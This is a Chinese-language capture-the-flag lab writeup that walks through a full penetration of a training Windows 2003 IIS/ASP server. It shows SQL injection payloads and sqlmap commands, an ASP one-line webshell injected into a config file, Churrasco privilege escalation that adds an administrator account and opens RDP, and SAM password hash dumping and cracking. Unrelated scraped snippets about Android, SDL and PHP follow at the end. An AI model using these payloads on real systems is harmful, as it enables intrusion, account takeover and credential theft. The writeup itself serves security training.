0x00 前言
本实验是一次非常深入彻底的模拟渗透,虽然只针对一台服务器,但却经历了从最初的获取网站管理员账号密码,到获得网站的 webshell,最后到通过提权获得服务器系统最高权限的完整渗透过程。
从实验手册上给出的工具提示也能看出,本次渗透会用到目录扫描工具、注入工具、getshell 工具、提权工具等,可谓干货满满。若各位能亲自动手尝试所有能用到的工具,把整个渗透流程实现一遍,所有知识点都想明白,对初学者而言绝对有丰富的收获与极大的提升。
先简单介绍一下靶机环境:主站为魅力企业网站管理系统 ,采用 ASP 后端脚本语言,以及 Microsoft Office Access 数据库,该 CMS 年久失修,遍地漏洞,连官网也消失殆尽,不过还是能从各大软件平台下载到源码;服务器系统为 Windows Server 2003 Enterprise Edition ,如果没打好补丁,此系统也是千疮百孔。总结一下,即典型的 Windows + IIS + ASP + Access 网站服务器出装。
题目链接:https://www.ichunqiu.com/battalion?t=2&r=54399
解题链接:https://www.ichunqiu.com/vm/114/1
特此声明:由于本实验题目中包含 2 道选择题,因此不再沿用先前以题目名称作为章节标题的做法,而按照渗透流程的重要步骤来命名。
0x01 简单聊聊 WVS
首先来看看第 1 道选择题:「WVS是什么工具?」,感觉问的很突兀,因为在本次渗透中 WVS 不是必要工具,也没有带来实质性的帮助,如果是我打开方式不对,还请指出。
AWVS(Acunetix Web Vulnarability Scanner) ,简称 WVS,是国外安全公司 Acunetix 的主打产品,一款自动化 Web 应用程序安全测试工具,用于快速扫描 Web 应用常见漏洞、爬取网站目录结构、提供多种实用工具等。虽然这是一款需要付费的商业软件,但在国内还是可以找到破解版的。
既然环境里提供了 WVS 工具,省去了我们下载安装的麻烦,那事不宜迟,先来体验一番。打开实验工具箱,在【目录扫描】文件夹中打开【AWVS】,即可看见我们的工具了:
本节只演示 WVS 网站扫描的主要功能,包括目录扫描与漏洞扫描,其他功能请读者查看教程自行操作。点击 New Scan ,在 Scan Type 栏的 Website URL 中填入目标站点 http://www.test.ichunqiu/
,一直默认点击 Next 到最后的 Finish 栏,把 CASE insensitive crawling 前的钩去掉(因为服务器系统是 Windows,所有不需要大小写敏感,而 Linux 系统则需要),点击 Finish 完成。
等待一段时间,扫描完毕后,在界面中看到目录扫描与漏洞扫描的结果:
不过可惜的是,后台登录页面都没被抓取出来,所以前面我才说没有提供实质性的帮助,此处权当 WVS 工具的使用练习。回到题目,有如下 4 个选项,从 WVS 的全称不难看出,把它作为 漏洞扫描工具 更为合适:
注入工具
漏洞扫描工具
目录扫描工具
暴力破解工具
0x02 SQL 注入获取管理员账号密码
聊完了 WVS,下面随着第 2 题「管理员的密码是什么?」正式进入渗透流程。首当其冲必然是魅力企业网站管理系统,不过网上有关该系统的漏洞报告很少,难以找到有效资料。此时不要着急,先回想一下前面几次渗透实验,获取管理员账号密码的方法不外乎敏感信息泄露、SQL 报错注入返回敏感信息、自动化注入工具直接读取数据库 等,因此思路很明确:寻找网页中存在的注入点 。
SQL 注入点的类型
在寻找 SQL 注入点之前,先科普一下注入点的类型。根据注入点输入数据的类型,可分为数字型注入与字符型注入,下面分别讲解这两种 SQL 注入的特点与区别。
小贴士:SQL 语句的单行注释一般有 --
与 #
,在验证 SQL 注入点时,要习惯性地在查询语句末尾加上注释符,并且注释符后最好加上一个空格,避免代码中后续 SQL 语句的干扰。
数字型 SQL 注入
当注入点的输入参数为数字时,则称之为数字型 SQL 注入,例如 id
、age
、order
、page
等参数。下面以主站中输入参数为数字型的页面 http://www.test.ichunqiu/shownews.asp?id=1
为例进行讲解。注意,在本次渗透环境中的 Access 数据库,只支持 #
注释符,读者可自行验证。
要判断 ID=1
是否为数字型 SQL 注入点,一般通过以下三步:
(1)http://www.test.ichunqiu/shownews.asp?id=1'#
由于数字参数在后台 SQL 语句中不需要引号闭合,如果在数字后插入一个英文单引号 '
,会导致 SQL 语句闭合错误,页面出现异常。
(2)http://www.test.ichunqiu/shownews.asp?id=1 AND 1=1#
SQL 语句中限制条件为 WHERE id=1 AND 1=1#
,相当于 WHERE id=1#
,此时页面应该显示正常,与原请求无任何差异。
(3)http://www.test.ichunqiu/shownews.asp?id=1 AND 1=2#
SQL 语句中限制条件为 WHERE id=1 AND 1=2#
,相当于 WHERE 1=2#
,即限定条件恒为假,此时页面应该显示异常,查询不出任何内容。
因此,经过以上三个步骤,即可判断 http://www.test.ichunqiu/shownews.asp?id=1
存在数字型 SQL 注入。
字符型 SQL 注入
当注入点的输入参数为字符串时,则称之为数字型 SQL 注入,例如 username
、password
、title
、class
等参数。下面以主站中输入参数为字符型的页面 http://www.test.ichunqiu/Aboutus.asp?Title=%B9%AB%CB%BE%BC%F2%BD%E9
为例进行讲解。
字符型与数字型 SQL 注入最大区别在于:数字型不需要引号闭合,而字符型需要 。可见,字符型 SQL 注入最关键的是如何闭合 SQL 语句,代码中的 SQL 语句一般采用单引号,但也别忘了双引号的可能。
要判断 Title=%B9%AB%CB%BE%BC%F2%BD%E9
是否为字符型 SQL 注入点,一般通过以下两步:
(1)http://www.test.ichunqiu/Aboutus.asp?Title=%B9%AB%CB%BE%BC%F2%BD%E9' AND 1=1#
此时页面应该显示正常,但在测试中却出现异常,无法显示。
(2)http://www.test.ichunqiu/Aboutus.asp?Title=%B9%AB%CB%BE%BC%F2%BD%E9' AND 1=2#
此时页面应该显示异常,而测试的异常结果也与(1)中情况类似。
因此,经过以上两个步骤,即可判断 http://www.test.ichunqiu/Aboutus.asp?Title=%B9%AB%CB%BE%BC%F2%BD%E9
不存在字符型 SQL 注入。
至于不存在字符型 SQL 注入的原因,我们可以深入地分析一下。当 Title=%B9%AB%CB%BE%BC%F2%BD%E9' AND '1'='1
或 Title=%B9%AB%CB%BE%BC%F2%BD%E9' AND '1'='1#
时,页面是能够正常显示的,但 Title=%B9%AB%CB%BE%BC%F2%BD%E9' AND '1'='1'#
却不行,所以注释符 #
此处被过滤了。
小结一下以上手工查找 SQL 注入点的过程:
是否能用注释符屏蔽后续 SQL 语句的干扰,是 SQL 注入点可用性的重要因素。
对于字符型 SQL 注入,还要注意引号的闭合。
上述网站中,数字型 SQL 注入没有过滤注释符 #
,而字符型过滤了。
最后粗略地统计网站中可用的数字型 SQL 注入点:
http://www.test.ichunqiu/shownews.asp?id=1
http://www.test.ichunqiu/ProductShow.asp?ID=9
http://www.test.ichunqiu/DownloadShow.asp?ID=9
http://www.test.ichunqiu/CompHonorBig.asp?id=11
http://www.test.ichunqiu/CompVisualizeBig.asp?id=10
SQL 自动化注入
既然知道了注入点,下面正式开始通过注入来获取管理员账号密码。一般而言,使用 SQL 自动化注入工具是读取数据库信息最高效的方法,极少数特别的注入点需要临时定制 payload 进行手工注入,因此熟悉多种注入工具是一名合格渗透工程师的基本要求。
国内外的 SQL 自动化注入工具种类繁多,下面将以明小子(Domian)、穿山甲(Pangolin)、SQLMap 等工具为例进行演示。以上工具均在实验工具箱中的【注入工具】文件夹下。
小贴士:一般的 SQL 自动化注入工具都带有判断注入点的功能,如果无法确定某参数是否存在注入,使用多款工具可以帮助你有效判断。
明小子(Domian)
明小子(Domian) 是国内的一款 Web 应用程序综合渗透工具,有可视化图形界面,简单易用,在国内安全圈极负盛名。
打开工具,依次点击 SQL注入 -> 批量扫描注入点 -> 添加网址 ,填入主站 URL http://www.test/ichunqiu/
,保存后点击 批量分析注入点 :
分析完毕后,右击其中一个注入点,点击 检测注入 :
点击后会自动跳转至 SQL注入猜解检测 选项卡,不过这里不用检测出来的注入点,用我们手工发现的注入点,一来换换口味,二来获得点成就感,三来顺便验证手工发现的注入点是否可靠。下面将 注入点 改为 http://www.test.ichunqiu/shownews.asp?id=1
,点击 开始检测 ,结果确实为一个可用注入点:
确认可注入后,点击 猜解表名 后得到 4 张表,接着选中 admin
表,点击 猜解列名 后得到 3 个列名,在所有列名前打上钩,点解 猜解内容 后即可得到管理员的账号为 admin
,16 位的密码哈希值为 469e80d32c0559f8
。至此,通过明小子工具成功地获取了管理员的账号密码。
穿山甲(Pangolin)
穿山甲(Pangolin) 是深圳宇造诺赛科技有限公司(Nosec)多年前开发的一款 SQL 注入测试工具,如今时过境迁,官方网址不再提供工具的相关信息,而成为了北京白帽汇科技有限公司旗下的一款名为 NOSEC 的大数据安全协作平台。尽管穿山甲工具已停止开发维护,但对付传统数据库依然绰绰有余。
打开工具,在 URL 处填入注入点 http://www.test.ichunqiu/shownews.asp?id=1
(注意:该工具不提供注入点扫描,只判断输入参数是否能作为注入点),点击 开始 箭头后,得到以下结果,说明注入点有效:
切换到 Datas 选项卡,点击 Tables 后得到 4 张表,接着选中 admin
表(注意不是打钩),点击 Columns 后得到 4 个列名,此时才在 admin
前打钩,选中所有列,点击 Datas 后即可获得管理员账号密码。可见,穿山甲工具的使用流程与明小子非常类似。
SQLMap
SQLMap 是一款专注于自动化 SQL 注入检测的开源渗透工具,用 Python 脚本语言编写,能在装有 Python 2.6.x 与 Python 2.7.x 的系统上跨平台运行,支持对数十种常见数据库的检测,被誉为 SQL 注入领域的一大渗透神器。
由于 SQLMap 只支持命令行界面,其易用性不如前两者,但丝毫不影响其渗透威力,反而还拥有更高的检测效率与更广的检测范围。SQLMap 作为渗透工程师常用且必备的工具,应当重点掌握。下面将列出渗透过程中常用的命令及用法,建议同时参考官方文档。
(1)python sqlmap.py -h
:查询帮助手册。 (2)python sqlmap.py -u
:检测该 URL 是否存在注入(末尾记得写上查询参数)。 (3)python sqlmap.py -u --dbs
:查询所有数据库名。 (4)python sqlmap.py -u --current-db
:查询当前数据库名。 (5)python sqlmap.py -u -D --tables
:查询某数据库中的所有表名。 (6)python sqlmap.py -u -D -T --columns:查询某数据表中的所有列名。 (7)python sqlmap.py -u -D -T -C --dump:查询某列中的所有数据。
以上是通过 GET 方式来检测注入点,并进行 SQL 注入读取数据库中数据的常规套路。注意一个特例:由于 Microsoft Access 数据库结构特殊,注入时不必通过(3)或(4)来查询数据库名,直接从(5)开始查询表名即可,-D
选项也可省去。
小贴士:为了避免在命令行界面输入中文进入【SQLMap】目录,因此使用前建议将【SQLMap】文件夹拷贝到 C 盘下。
确保了命令行路径在【SQLMap】目录下后,根据(2)输入命令 python sqlmap.py -u http://www.test.ichunqiu/shownews.asp?id=1
,若询问「已确认 id
参数可注入,还需检测其他参数?」填 N
,结果显示此为基于布尔的盲注(boolean-based blind) ,并且返回了一些服务器相关信息,如:服务器操作系统为 Windows 2003 或 Windows XP ,Web 应用程序采用了 APS.NET、Microsoft IIS 6.0、ASP 等建站技术,后端数据库数理系统为 Microsoft Access 。以上对服务器相关信息的收集有助于后续更高效精准的渗透。
知道了后端数据库是 Microsoft Access 后,可以跳过(3)或(4)直接进行(5),输入命令 python sqlmap.py -u http://www.test.ichunqiu/shownews.asp?id=1 --tables
,若询问「需要检测常用表名是否存在?」填 Y
,询问「需要的线程数量?」填最大值 10
。检测将近一半时,按 Ctrl + C
手动终止扫描,得到了包含 admin
表在内的 6 张表。注意:由于 SQLMap 扫描所用的字典范围更广,因此比起前两者能发现更多的数据表。
小贴士:由于扫描花时较长,当看到 admin
表出现时,可按 Ctrl + C
手动停止扫描。
继续执行(6)中的命令,输入 python sqlmap.py -u http://www.test.ichunqiu/shownews.asp?id=1 -T admin --columns
,若询问「需要检测常用列名是否存在?」填 Y
,询问「需要的线程数量?」填最大值 10
。本次扫描不手动终止,等待其全部扫描完毕,得到了 username
与 password
等 6 个字段。
最后执行(7)中的命令,输入 python sqlmap.py -u http://www.test.ichunqiu/shownews.asp?id=1 -T admin -C username,password --dump
,等待其枚举完毕,若询问「需要临时保存结果的哈希值?」填 N
,询问「需要用字典攻击来破解结果?」填 n
,随即可看到管理员的账号密码等数据。
SQL 手工注入
除了会使用 SQL 自动化注入工具,手工注入也应该是渗透工程师的基本技能之一。下面仍旧针对上述注入点,演示手工注入获取 Access 数据库内容的全过程。详细指导可参考:
asp+access sql手工注入步骤 access手工注入
Step 1:猜解表名
在火狐浏览器打开存在注入点的页面,将 URL 改为 http://www.test.ichunqiu/shownews.asp?id=1 AND EXISTS(SELECT * FROM ),其中 为待猜解的表名,如果表名存在,页面将显示正常,否则出现异常。注意:如果管理员把库名、表名、列名更改得随机复杂,手工注入将变得非常困难。
打开 HackBar 工具,我们对 admin
、user
、news
等常见表名进行猜解,发现均能正常显示:
Step 2:猜解列数
已知 admin
表存在后,接着猜解当前未知表的列数,用于后续的联合查询(UNION SELECT),因为联合查询的必要条件是每个查询的列数需要严格相等 。
猜解列数最便捷的方法是利用 ORDER BY 语句的隐藏用法。一般来说,ORDER BY
代表对
列进行升排序,而 ORDER BY
代表对第
列进行升排序 。容易看出,
的最大取值即为查询数据的列数,因此,当发现 ORDER BY n
显示正常,并且 ORDER BY n+1
出现异常时,可判断当前查询数据的列数为 n。
注意,只有在后端数据库的查询语句为 SELECT * FROM admin
时,当前查询数据的列数 n 才等于数据库 admin
的总列数。 详情可参考:sql注入之order by猜列数问题。
经过反复尝试,可以确定查询数据的列数为 11:
Step 3:找出显位点
下面要构造联合查询 UNION SELECT 1,2,...,n FROM 找出显位点,其中列数为 n,表名为 。
小贴士:查询结果中的某些数据会出现在当前页面,而这些数据对应的列称为显位点 。
经过反复试验,得知该数据库是从查询结果的第 1 列数据开始升排序(若第 1 列相等,则比较第 2 列,以此类推),并且将第 1 行结果的部分数据在页面上展示。因此上述联合查询能有效执行,并发现了显位点为第 2、3、7、8、9 列:
若想完全避免前一次查询结果的影响,可将限制条件 id=1
改为 id=1 AND 1=2
。
Step 4:猜解列名
最后一步,就是用猜想的列名去替换显位点,如果猜想正确,则页面会显示数据内容,否则出现异常。我们对 user
、username
、account
、pwd
、password
、key
、credit
等常见列名进行猜解,终于在 username
、password
两列中读取到管理员的账号密码:
敏感信息泄露
在本节末尾留个小彩蛋,细心的读者可能在上述注入点的页面底部发现了:
对的,你想的没错,管理员的 16 位密码哈希值,用 MD5解密工具 解密后的明文结果正是 admin888
:
0x03 获取后台登录地址
根据实验手册的提示,在实验工具箱的【目录扫描】->【御剑后台扫描工具】文件夹下打开工具,在 域名 处填上主站 URL http://www.test.ichunqiu/
,点击 开始扫描 即可轻松获取后台登录地址 /admin/login.asp
:
上节提到的明小子(Domain)注入工具也带有目录扫描功能,点击 SQL注入 -> 管理入口扫描 选项卡,在 注入点 处填上主站 URL,点击 扫描后台地址 同样能得到后台登录地址:
小贴士:通过这几次渗透实验可发现,大多 CMS 的默认后台登录地址为 /admin
,因此在使用目录扫描工具前可先行尝试。
0x04 配置文件写入木马获取 webshell
第 2 题过后,随之而来的第 3 题又是一道选择题:「通过什么方式获得 webshell?」,这也同时是对接下来渗透的提示。
先用管理员账号 admin
与密码 admin888
登录后台:
根据题目的提示,寻找后台备份文件、文件上传处、内容填写框等能够插入木马的漏洞,但可惜的是,很快能发现备份文件无效、文件上传无反应、大多文本框不能填写 ,看来服务器限制了该账户的写入权限。
只剩下写入配置文件 了,并在 系统设置管理 -> 网站信息配置 发现了配置文件更改处。问题又来了,写入木马的配置文件在哪读取?于是先在外网搜索到 CMS 的源码,在此目录中搜索 conf
等关键字,发现了 4 个目标文件:
经过逐一排查,最终确定其中的 /inc/Config.asp
与网站配置信息相关:
接下来尝试在任意一栏中写入 ASP 版的一句话木马 "%><%Eval Request("cmd")%><%'
。注意:"%>
是为了闭合前段 ASP 代码;cmd
是木马的请求参数;<%'
是为了开启后段 ASP 代码,并用单引号注释该行剩下的代码。 写入木马前,最好把栏中原有的配置信息删除,即可直观地判断是否写入成功。
以 网站标题 一栏为例,写入一句话木马:
写入后点击 保存设置 ,可见写入木马后该栏为空:
然后在工具箱【webshell】目录下拔出中国菜刀,在 添加SHELL 中填入目标 URL 与请求参数后保存:
双击 shell 记录,成功连接网站的文件管理系统:
最后回到题目,根据选项提示,成功验证了能够通过 写入配置文件 获得 webshell:
0x05 上传工具,系统提权
终于到达最后一关:「获取目标服务器密码」,这需要破解操作系统上用户的密码哈希值,倒推一下思路:获得服务器系统最高权限 -> 上传提权工具 -> 寻找上传点 ,赶紧动手开始吧!
怎么确定上传点呢?具有写权限的目录都可以作为上传点,在 C 盘下的每个目录尝试上传,发现 C:\Inetpub
、C:\RECYCLER
、C:\wmpub
三个目录具有写权限,其他目录均写入失败。下面演示以 C:\wmpub
作为上传点。
系统提权将利用 CVE-2009-0079 漏洞,采取 cmd.exe + Churrasco.exe + 3389.bat 的工具组合,其中 cmd.exe 是为了代替原服务器中权限受限的命令行交互环境,Churrasco.exe 是用于提权的漏洞利用工具,3389.bat 是打开 3389 端口及远程桌面服务的批处理脚本文件。
小贴士:CVE-2009-0079 是 Microsoft Windows RPCSS 服务隔离的本地权限提升漏洞,收录于 Microsoft 安全公告 MS09-012,影响 Microsoft Windows Server 2003 SP2 等多个系统版本。
Churrasco.exe 提权
Churrasco.exe ,又称「巴西烤肉」,是 CVE-2009-0079 漏洞的常见利用工具,能够以 SYSTEM 权限执行命令,从而可以达到添加用户的目的。
首先将工具箱【提权工具】->【windows】目录中的三款工具,在菜刀的文件管理页面空白处,右键点击 上传文件 至服务器 C:\wmpub
目录下,接着右击 cmd.exe,选择 虚拟终端 进入到命令行交互界面:
输入 systeminfo
命令,获取服务器系统相关信息,得知系统为 Microsoft Windows Server 2003 Enterprise Edition SP2,且只安装了一个补丁程序,即可猜测该系统存在 CVE-2009-0079 漏洞:
接着切换到 C:\wmpub
目录,输入 churrasco "net user ichunqiu key /add"
命令,添加一个名为 ichunqiu
、密码为 key
的用户:
再输入 churrasco "net localgroup administrators ichunqiu /add"
命令,将 ichunqiu
用户添加到 administrators
用户组:
小贴士:可通过 net user
与 net localgroup administrators
查看命令是否执行成功。
最后输入 churrasco 3389
命令,打开 3389 端口及远程桌面服务:
确认提权成功后,在本机上点击 开始 -> 运行 ,输入 mstsc
,远程计算机地址为 172.16.12.2
(在实验场景拓扑图上可见):
正常的话会弹出远程桌面,输入用户名 ichunqiu
与密码 key
,即可成功登录远程服务器:
pr.exe 提权
pr.exe 也是 CVE-2009-0079 漏洞的提权工具,位于【提权工具】->【windows】目录下,使用方法与 Churrasco.exe 类似。不过注意的是,在第一次执行创建用户命令时,可能会报错,若创建失败,只需再次执行即可:
iis.exe 提权
iis.exe 与前两者不同,是基于 CVE-2009-1535 漏洞的提权工具,位于【提权工具】->【windows】目录下(最好选用 iis6.0-local.exe,因为 iis6.exe 在打开 3389 端口时会出错),使用方法与前两者类似。在第一次创建用户时也可能会报错,若创建失败,再次执行即可:
小贴士:CVE-2009-1535 是 IIS 5.1 和 6.0 中 WebDAV 扩展的身份验证绕过漏洞,收录于 Microsoft 安全公告 MS09-020,影响 Microsoft Windows Server 2003 SP2 中 Internet Information Services 6.0 等多个系统版本。
0x06 获取管理员系统密码
进入到远程主机桌面,此时可以通过 pwdump 工具 获取管理员密码的哈希值,常见的 pwdump 工具有 Pwdump7、QuarksPwDump、Cain & Abel 等,最后将哈希值通过在线解密即可获得密码明文。
小贴士:pwdump 是一类能从 Windows SAM(Security Account Manager) 中读出本地用户 LM(LAN Manager) 与 NTLM(NT LAN Manager) 密码哈希值的工具(注意必须在管理员权限下),其中 LM 与 NTLM 是 Windows 系统下的安全认证协议,并且 NTLM 是 LM 的演进版本,安全性更高。
Pwdump7
Pwdump7 是 Tarasco Security 发布的一款免费软件,能够从 SAM 中快速提取用户密码哈希值,易用性与有效性极佳。
使用之前,将实验工具箱【提权工具】->【hash】->【Pwdump7】文件夹下的 Pwdump7.exe 与 libeay32.dll 两个文件通过菜刀上传至服务器 C:\wmpub
目录,再回到远程主机桌面点击【开始】 -> 【我的电脑】,进入上传点打开 cmd.exe,直接输入 pwdump7
命令即可获得所有用户的密码哈希值,其中 62C4700EBB05958F3832C92FC614B7D1
是 LM 哈希,4D478675344541AACCF6CF33E1DD9D85
是 NTLM 哈希:
QuarksPwDump
QuarksPwDump 是 Quarkslab 发布的一款开源工具,能导出 Windows 下各种类型的用户凭证,它自身有专属的命令交互界面,可输入不同的命令选项获得所需数据。
使用前,同样先将【提权工具】->【hash】->【QuarksPwDump_v0.1】文件夹下的 QuarksPwDump.exe 上传至服务器 C:\wmpub
目录,在远程主机上传点打开 cmd.exe,直接输入 quarkspwdump
命令:
命令成功执行后,进入到 QuarksPwDump.exe 命令交互界面,再输入 quarkspwdump --dump-hash-local
命令:
小贴士:对命令选项熟悉后,可直接在 cmd 命令交互界面中输入 quarkspwdump --dump-hash-local
命令。
界面刷新,并导出本地用户的密码哈希值:
Cain & Abel
Cain & Abel 是 oxid.it 发布的一款综合网络渗透工具,在密码恢复、暴力破解、网络嗅探、路由协议分析等场景有广泛应用。
使用前,先把【arp嗅探】->【Cain】文件夹下的 ca_setup_53494.exe 安装包上传至服务器 C:\wmpub
目录进行安装,并且安装完 Cain & Abel 后,必须同时安装后续的 WinPcap,否则功能缺失出现报错:
小贴士:比起前两款工具,Cain & Abel 使用前需要安装,并且操作步骤相对繁琐,增大了在目标系统留下痕迹的可能,因此建议在满足需求的情况下,尽量选用小巧便捷的工具。
全部安装完毕后点击桌面上的 Cain ,在 Cracker 选项卡下选中 LM & NTLM Hashes ,点击 Add to list(即蓝色加号) ,勾选上 Include Password History Hashes :
点击 Next 后即能获取到所有本地用户的密码哈希值:
Online Hash Crack
在线破解哈希值推荐一个瑞士网站 Objectif Sécurité ,无需注册付费,便捷实用。
在主页点击 OPHCRACK 选项卡,将 NTLM 哈希 4D478675344541AACCF6CF33E1DD9D85
填入第一个文本框,点击 GO 解密后,即得管理员系统密码的明文 cu9e2cgw
:
0x07 小结
本篇 writeup 借此深入彻底的渗透模拟实验,总结了渗透过程中信息收集、SQL 注入、插入木马、获取 webshell、权限提升、获取系统用户密码等用到的数十种工具与分析方法,希望有助于各位读者对渗透测试全过程的理解,在动手实践之后能更熟练地掌握工具。
笔者水平有限,在边学习实践边分析思考的情况下总结出以上心得,不足之处望各位指出,有独特思路的欢迎交流。最后向以下三篇参考 writeup 的作者致以真诚的感谢,前辈们的努力促使了国内安全技术的蓬勃发展!
你可能感兴趣的:(渗透,黑客,数据库,破解,hash,Kali,Linux,Linux)
android系统selinux中添加新属性property
辉色投像
1.定位/android/system/sepolicy/private/property_contexts声明属性开头:persist.charge声明属性类型:u:object_r:system_prop:s0图12.定位到android/system/sepolicy/public/domain.te删除neverallow{domain-init}default_prop:property
Linux下QT开发的动态库界面弹出操作(SDL2)
13jjyao
QT类 qt 开发语言 sdl2 linux
需求:操作系统为linux,开发框架为qt,做成需带界面的qt动态库,调用方为java等非qt程序难点:调用方为java等非qt程序,也就是说调用方肯定不带QApplication::exec(),缺少了这个,QTimer等事件和QT创建的窗口将不能弹出(包括opencv也是不能弹出);这与qt调用本身qt库是有本质的区别的思路:1.调用方缺QApplication::exec(),那么我们在接口
linux sdl windows.h,Windows下的SDL安装
奔跑吧linux内核
linux sdl windows.h
首先你要下载并安装SDL开发包。如果装在C盘下,路径为C:\SDL1.2.5如果在WINDOWS下。你可以按以下步骤:1.打开VC++,点击"Tools",Options2,点击directories选项3.选择"Includefiles"增加一个新的路径。"C:\SDL1.2.5\include"4,现在选择"Libaryfiles“增加"C:\SDL1.2.5\lib"现在你可以开始编写你的第
Google earth studio 简介
陟彼高冈yu
旅游
GoogleEarthStudio是一个基于Web的动画工具,专为创作使用GoogleEarth数据的动画和视频而设计。它利用了GoogleEarth强大的三维地图和卫星影像数据库,使用户能够轻松地创建逼真的地球动画、航拍视频和动态地图可视化。网址为https://www.google.com/earth/studio/。GoogleEarthStudio是一个基于Web的动画工具,专为创作使用G
linux中sdl的使用教程,sdl使用入门
Melissa Corvinus
linux中sdl的使用教程
本文通过一个简单示例讲解SDL的基本使用流程。示例中展示一个窗口,窗口里面有个随机颜色快随机移动。当我们鼠标点击关闭按钮时间窗口关闭。基本步骤如下:1.初始化SDL并创建一个窗口。SDL_Init()初始化SDL_CreateWindow()创建窗口2.纹理渲染存储RGB和存储纹理的区别:比如一个从左到右由红色渐变到蓝色的矩形,用存储RGB的话就需要把矩形中每个点的具体颜色值存储下来;而纹理只是一
PHP环境搭建详细教程
好看资源平台
前端 php
PHP是一个流行的服务器端脚本语言,广泛用于Web开发。为了使PHP能够在本地或服务器上运行,我们需要搭建一个合适的PHP环境。本教程将结合最新资料,介绍在不同操作系统上搭建PHP开发环境的多种方法,包括Windows、macOS和Linux系统的安装步骤,以及本地和Docker环境的配置。1.PHP环境搭建概述PHP环境的搭建主要分为以下几类:集成开发环境:例如XAMPP、WAMP、MAMP,这
使用 FinalShell 进行远程连接(ssh 远程连接 Linux 服务器)
编程经验分享
开发工具 服务器 ssh linux
目录前言基本使用教程新建远程连接连接主机自定义命令路由追踪前言后端开发,必然需要和服务器打交道,部署应用,排查问题,查看运行日志等等。一般服务器都是集中部署在机房中,也有一些直接是云服务器,总而言之,程序员不可能直接和服务器直接操作,一般都是通过ssh连接来登录服务器。刚接触远程连接时,使用的是XSHELL来远程连接服务器,连接上就能够操作远程服务器了,但是仅用XSHELL并没有上传下载文件的功能
关于提高复杂业务逻辑代码可读性的思考
编程经验分享
开发经验 java 数据库 开发语言
目录前言需求场景常规写法拆分方法领域对象总结前言实际工作中大部分时间都是在写业务逻辑,一般都是三层架构,表示层(Controller)接收客户端请求,并对入参做检验,业务逻辑层(Service)负责处理业务逻辑,一般开发都是在这一层中写具体的业务逻辑。数据访问层(Dao)是直接和数据库交互的,用于查数据给业务逻辑层,或者是将业务逻辑层处理后的数据写入数据库。简单的增删改查接口不用多说,基本上写好一
SQL Server_查询某一数据库中的所有表的内容
qq_42772833
SQL Server 数据库 sqlserver
1.查看所有表的表名要列出CrabFarmDB数据库中的所有表(名),可以使用以下SQL语句:USECrabFarmDB;--切换到目标数据库GOSELECTTABLE_NAMEFROMINFORMATION_SCHEMA.TABLESWHERETABLE_TYPE='BASETABLE';对这段SQL脚本的解释:SELECTTABLE_NAME:这个语句的作用是从查询结果中选择TABLE_NAM
深入理解 MultiQueryRetriever:提升向量数据库检索效果的强大工具
nseejrukjhad
数据库 python
深入理解MultiQueryRetriever:提升向量数据库检索效果的强大工具引言在人工智能和自然语言处理领域,高效准确的信息检索一直是一个关键挑战。传统的基于距离的向量数据库检索方法虽然广泛应用,但仍存在一些局限性。本文将介绍一种创新的解决方案:MultiQueryRetriever,它通过自动生成多个查询视角来增强检索效果,提高结果的相关性和多样性。MultiQueryRetriever的工
数组去重
好奇的猫猫猫
整理自js中基础数据结构数组去重问题思考?如何去除数组中重复的项例如数组:[1,3,4,3,5]我们在做去重的时候,一开始想到的肯定是,逐个比较,外面一层循环,内层后一个与前一个一比较,如果是久不将当前这一项放进新的数组,挨个比较完之后返回一个新的去过重复的数组不好的实践方式上述方法效率极低,代码量还多,思考?有没有更好的方法这时候不禁一想当然有了!!!hashtable啊,通过对象的hash办法
MongoDB Oplog 窗口
喝醉酒的小白
MongoDB 运维
在MongoDB中,oplog(操作日志)是一个特殊的日志系统,用于记录对数据库的所有写操作。oplog允许副本集成员(通常是从节点)应用主节点上已经执行的操作,从而保持数据的一致性。它是MongoDB副本集实现数据复制的基础。MongoDBOplog窗口oplog窗口是指在MongoDB副本集中,从节点可以用来同步数据的时间范围。这个窗口通常由以下因素决定:Oplog大小:oplog的大小是有限
libyuv之linux编译
jaronho
Linux linux 运维 服务器
文章目录一、下载源码二、编译源码三、注意事项1、银河麒麟系统(aarch64)(1)解决armv8-a+dotprod+i8mm指令集支持问题(2)解决armv9-a+sve2指令集支持问题一、下载源码到GitHub网站下载https://github.com/lemenkov/libyuv源码,或者用直接用git克隆到本地,如:gitclonehttps://github.com/lemenko
python os 环境变量
CV矿工
python 开发语言 numpy
环境变量:环境变量是程序和操作系统之间的通信方式。有些字符不宜明文写进代码里,比如数据库密码,个人账户密码,如果写进自己本机的环境变量里,程序用的时候通过os.environ.get()取出来就行了。os.environ是一个环境变量的字典。环境变量的相关操作importos"""设置/修改环境变量:os.environ[‘环境变量名称’]=‘环境变量值’#其中key和value均为string类
ARM驱动学习之5 LEDS驱动
JT灬新一
嵌入式 C 底层 arm开发 学习 单片机
ARM驱动学习之5LEDS驱动知识点:•linuxGPIO申请函数和赋值函数–gpio_request–gpio_set_value•三星平台配置GPIO函数–s3c_gpio_cfgpin•GPIO配置输出模式的宏变量–S3C_GPIO_OUTPUT注意点:DRIVER_NAME和DEVICE_NAME匹配。实现步骤:1.加入需要的头文件://Linux平台的gpio头文件#include//三
【PG】常见数据库、表属性设置
江无羡
数据库
PG的常见属性配置方法数据库复制、备份相关表的复制标识单表操作批量表操作链接数据库复制、备份相关表的复制标识单表操作通过ALTER语句单独更改一张表的复制标识。ALTERTABLE[tablename]REPLICAIDENTITYFULL;批量表操作通过代码块的方式,对某个schema中的所有表一起更新其复制标识。SELECTtablename,CASErelreplidentWHEN'd'TH
【华为OD技术面试真题精选 - 非技术题】 -HR面,综合面_华为od hr面
一个射手座的程序媛
程序员 华为od 面试 职场和发展
最后的话最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!资料预览给大家整理的视频资料:给大家整理的电子书资料:如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。需要这份系统化的资料的朋友,可以点击这里获
nosql数据库技术与应用知识点
皆过客,揽星河
NoSQL nosql 数据库 大数据 数据分析 数据结构 非关系型数据库
Nosql知识回顾大数据处理流程数据采集(flume、爬虫、传感器)数据存储(本门课程NoSQL所处的阶段)Hdfs、MongoDB、HBase等数据清洗(入仓)Hive等数据处理、分析(Spark、Flink等)数据可视化数据挖掘、机器学习应用(Python、SparkMLlib等)大数据时代存储的挑战(三高)高并发(同一时间很多人访问)高扩展(要求随时根据需求扩展存储)高效率(要求读写速度快)
